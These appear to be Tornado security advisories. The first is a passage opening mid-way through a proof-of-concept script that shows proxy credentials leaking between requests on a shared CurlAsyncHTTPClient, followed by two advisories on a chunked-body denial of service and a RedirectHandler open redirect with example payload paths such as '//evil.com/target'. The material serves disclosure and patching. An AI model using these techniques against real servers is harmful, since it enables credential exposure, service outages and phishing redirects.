                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None


async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
        await client.fetch(HTTPRequest(
            "http://target.example/a",
            proxy_host="127.0.0.1", proxy_port=proxy_a.port,
            proxy_username="alice", proxy_password="secretA",
            request_timeout=5, connect_timeout=5), raise_error=False)
        await client.fetch(HTTPRequest(
            "http://target.example/b",
            proxy_host="127.0.0.1", proxy_port=proxy_b.port,
            request_timeout=5, connect_timeout=5), raise_error=False)
        await asyncio.sleep(0.2)
        client.close()
    finally:
        proxy_a.stop()
        proxy_b.stop()

    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
    expected = "Basic " + base64.b64encode(b"alice:secretA").decode()

    print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
    print(f"{'-' * 42}{'-' * 40}")
    print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
    print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
    print()
    if b and expected in b:
        print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
              f"({expected}) although request B specified no proxy_username.")
        return 0
    print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
    return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):

request                                   Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==

VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.

Impact

• Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
• Actors: An application that issues requests with differing per-request options on a shared CurlAsyncHTTPClient — for Vector A, mixing per-request client_cert requests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials.
• Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
• Scope: Only applications using the optional CurlAsyncHTTPClient backend with the patterns above are affected. The default SimpleAsyncHTTPClient is not affected (and does not support proxies).

Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is High because exploitation depends on the application using differing per-request options on a shared client and on handle scheduling.

Mitigation

A single fix closes all instances of this class: call curl.reset() at the start of _curl_setup_request and then re-apply the per-request options, so no state from a prior request can persist on the reused handle. (Note curl.reset() also clears CAINFO, which the current code intentionally leaves untouched — see the comment at lines 401-409 — so that default would need to be re-established after the reset.)

Alternatively, add explicit clearing branches mirroring the existing PROXYUSERPWD/USERPWD handling:

# client certificate
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
    curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)
else:
    curl.unsetopt(pycurl.SSLKEY)

# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
    ...
    curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
    curl.unsetopt(pycurl.PROXYUSERPWD)

# network interface
if request.network_interface:
    curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
    curl.unsetopt(pycurl.INTERFACE)

Until a fix is available, use a separate CurlAsyncHTTPClient instance per distinct credential set (per client certificate / per proxy credential), or use SimpleAsyncHTTPClient where applicable.

Summary

When Tornado reads an HTTP/1.1 body that uses chunked transfer encoding, it processes all chunks that have already arrived without yielding to the event loop. A client can send a body made of millions of 1-byte chunks, which blocks the event loop (and therefore every other connection served by that process) for the entire time it takes to parse the body. A body near the default max_body_size of 100 MB can block the process for close to a minute, and the attacker can repeat or parallelize these requests.

Bodies made of tiny chunks also consumed far more memory than their size: a handler that does not use @stream_request_body stored each chunk as a separate object, using roughly 20 times as much memory as the bytes received.

Impact

All Tornado HTTP servers are affected when they receive a request body for a handler that reads it, which includes any handler that does not reject the request before the body is read. No authentication is required. Lowering max_body_size reduces the maximum blocking time and memory use for each request but does not remove the issue.

SimpleAsyncHTTPClient is affected in the same way when it reads a response from a malicious server.

Patches

Fixed in Tornado 6.6. Tornado now yields to the event loop periodically while reading any body, combines small chunks before passing them to data_received, and stores non-streaming bodies more compactly.

Applications using @stream_request_body should note that the pieces passed to data_received no longer correspond to HTTP chunk boundaries.

Workarounds

• Run Tornado behind a reverse proxy that buffers request bodies and forwards them with a Content-Length header instead of chunked encoding.
• Lower max_body_size (for the whole server or for individual handlers) to limit the impact of each request.

Credit

Reported by uttej-badwane.

Summary

tornado.web.RedirectHandler builds its target URL by substituting parts of the request path into a template. Depending on where those substitutions appear in the template, an attacker can craft a request that redirects to a host of their choosing. This creates an open redirect on the application's domain, which can be used in phishing.

Impact

Applications are affected if they use RedirectHandler with a URL template where a regex capture group can influence the scheme or host of the redirect. This includes:

• A substitution at the start of the path, for example (r"/(.*)/target", RedirectHandler, {"url": "/{0}/destination"}). A request to https://example.com//evil.com/target redirects to //evil.com/destination, a protocol-relative URL pointing to evil.com. Variants using backslashes or encoded characters have the same effect, because browsers treat them as equivalent to //.
• A substitution directly after the host, for example (r"/old(.*)", RedirectHandler, {"url": "https://new.example.com{0}"}). A request to /old.evil.com/ or /old@evil.com/ redirects to evil.com.
• A template that begins with a substitution (such as "{0}"), which can be given an absolute URL.

Applications are not affected if their RedirectHandler templates use only static URLs, or if every substitution comes after a fixed host and a / (for example "/static/{0}" or "https://example.com/{0}"). Other uses of RequestHandler.redirect() are not affected by this advisory, although applications that pass user-controlled input to redirect() should validate it themselves.

Patches

Fixed in Tornado 6.6. RedirectHandler now returns a 400 error if the substituted values would change the scheme or host of the redirect from what the template specifies. As a result, substitutions can no longer be used in the scheme or host part of a template. The similar check in StaticFileHandler has also been hardened against backslash and whitespace variants.

Workarounds

• Change RedirectHandler templates so every substitution comes after a fixed prefix ending in /, or write capture-group regexes that cannot match characters such as /, \, @, . or : where they could affect the host.
• Alternatively, replace RedirectHandler with a custom handler that validates the target before calling self.redirect().

Credit

Reported by Longwei Wang (@gn00295120).